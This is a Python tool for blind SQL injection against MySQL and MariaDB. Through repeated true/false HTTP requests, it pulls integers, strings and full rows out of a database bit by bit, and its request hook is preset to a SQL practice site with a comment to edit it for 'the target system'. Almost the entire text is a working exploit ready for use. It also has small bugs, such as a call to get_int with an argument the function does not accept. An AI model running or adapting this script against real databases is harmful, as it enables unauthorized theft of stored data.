MySQL / MariaDB blind SQLi exploitation script

blind_sqli.py

import argparse
import binascii
import math
import requests
import sys
import urllib.parse
import zlib

session = requests.session()
def get_boolean(query):
    """
    Edit this function to return a boolean blind result in the target system
    """
    url = "https://sqlzoo.net/sqlgo.pl"
    data = {
        "sql": "SELECT CONCAT('xxx', 'yyy') FROM dual WHERE {query}".format(query=query),
        "format": "json",
        "question": "1.",
        "wgUserName": "",
        "page": "SELECT",
        "server": "mysql",
        "setup": "",
        "tidy": "",
        "answer": "",
        "schema": "scott",
        "respectorder": "0",
        "thinkingTime": "1749211"
    }
    r = session.post(url, data=data)
    log(r.text, 3)
    if "xxxyyy" in r.text:
        return True
    return False


loglevel = 0
def log(msg, level=0):
    if level <= loglevel:
        print(msg)

def get_int(query):
    bit_index = 0
    bytes = 1
    log("({query})<{byte_len}".format(query=query, byte_len=int(math.pow(256, bytes))), 3)
    while not get_boolean("({query})<{byte_len}".format(query=query, byte_len=int(math.pow(256, bytes)))):
        bytes += 1
    for bit in range(8 * bytes):
        if get_boolean("({query})&{bit}={bit}".format(query=query, bit=1 << bit)):
            bit_index |= 1 << bit
    return bit_index

def get_string(query, length=None, charset=None, skip=0, compress=False, case_sensitive=False):
    charset = charset or "_ABCDEFGHIJKLMNOPQRSTUVWXYZ01234"
    if compress:
        charset = "0123456789ABCDEF"
        query = "HEX(COMPRESS(({query})))".format(query=query)
        skip = skip or 8
    if length is None:
        length = get_int("LENGTH(({query}))".format(query=query))

    # encode the charset to avoid ' characters
    _charset = "0x{}".format("".join("{:02x}".format(ord(x)) for x in charset))
    case_sensitive = all(x in charset for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")

    log("Row length: {}".format(length), 1)

    output = ""
    for index in range(skip, length):
        bit_index = 0
        for bit in range(math.ceil(math.log2(len(charset)))):
            if loglevel > 1:
                sys.stdout.write(".")
                sys.stdout.flush()
            if get_boolean("INSTR({binary}{charset},SUBSTR(({query}),{index},1))-1&{bit}={bit}".format(binary="binary " if case_sensitive else "", charset=_charset, query=query, index=index+1, bit=1 << bit)):
                bit_index |= 1 << bit
        if bit_index < len(charset):
            output += charset[bit_index]
        else:
            output += charset[0]
        log("{:>3}/{}: {}".format(index, bit_index, output), 1)

    if compress:
        return zlib.decompress(binascii.unhexlify(output)).decode()
    return output

def get_rows(query, index=0, charset=None, case_sensitive=False):
    output = []
    count = get_int("SELECT COUNT(*) FROM ({}) AS T".format(query))
    log("Row count: {}".format(count), 1)
    for x in range(index, count):
        output.append(get_string("{} LIMIT 1 OFFSET {}".format(query, x), charset=charset, case_sensitive=case_sensitive))
    return output

if __name__ == "__main__":
    charsets = {
        None: "0123456789ABCDEF",
        "hex": "0123456789ABCDEF",
        "alpha" : "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "alphanum" : "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
        "num" : "0123456789",
        "ascii" : "".join(chr(x) for x in range(128)),
        "all" : "".join(chr(x) for x in range(256))
    }

    parser = argparse.ArgumentParser(prog="processor")
    parser.add_argument("--charset", "-c", choices=["hex", "alpha", "num", "alphanum", "ascii", "all"], default=None)
    parser.add_argument("--skip", "-s", type=int, default=0)
    parser.add_argument("--type", "-t", choices=["rows", "int", "string", "raw"], default="rows")
    parser.add_argument("--characters", type=str, default=None)
    parser.add_argument("--compress", action="store_true")
    parser.add_argument("--case-sensitive", action="store_true")
    parser.add_argument("--loglevel", "-l", type=int, choices=[0, 1, 2, 3], default=1)
    parser.add_argument("query", nargs='*')
    args = parser.parse_args()

    query = " ".join(args.query)
    characters = args.characters or charsets[args.charset or "ascii"]
    loglevel = args.loglevel

    log("Query: {}".format(query))
    log("Charset: {}".format(repr(characters)))
    results = []
    if args.type == "rows":
        results += get_rows(query, index=args.skip, charset=characters, case_sensitive=args.case_sensitive)
    elif args.type == "int":
        results.append(str(get_int(query, bytes=2)))
    else:
        results.append(get_string(query, skip=args.skip, charset=characters, compress=args.compress, case_sensitive=args.case_sensitive))

    max_len = max(len(x) for x in results)
    tbl_sep = "+-" + ("-" * max_len) + "-+"
    tbl_fmt = "| {:<" + str(max_len) + "} |"

    print(tbl_sep)
    for result in results:
        print(tbl_fmt.format(result))
    print(tbl_sep)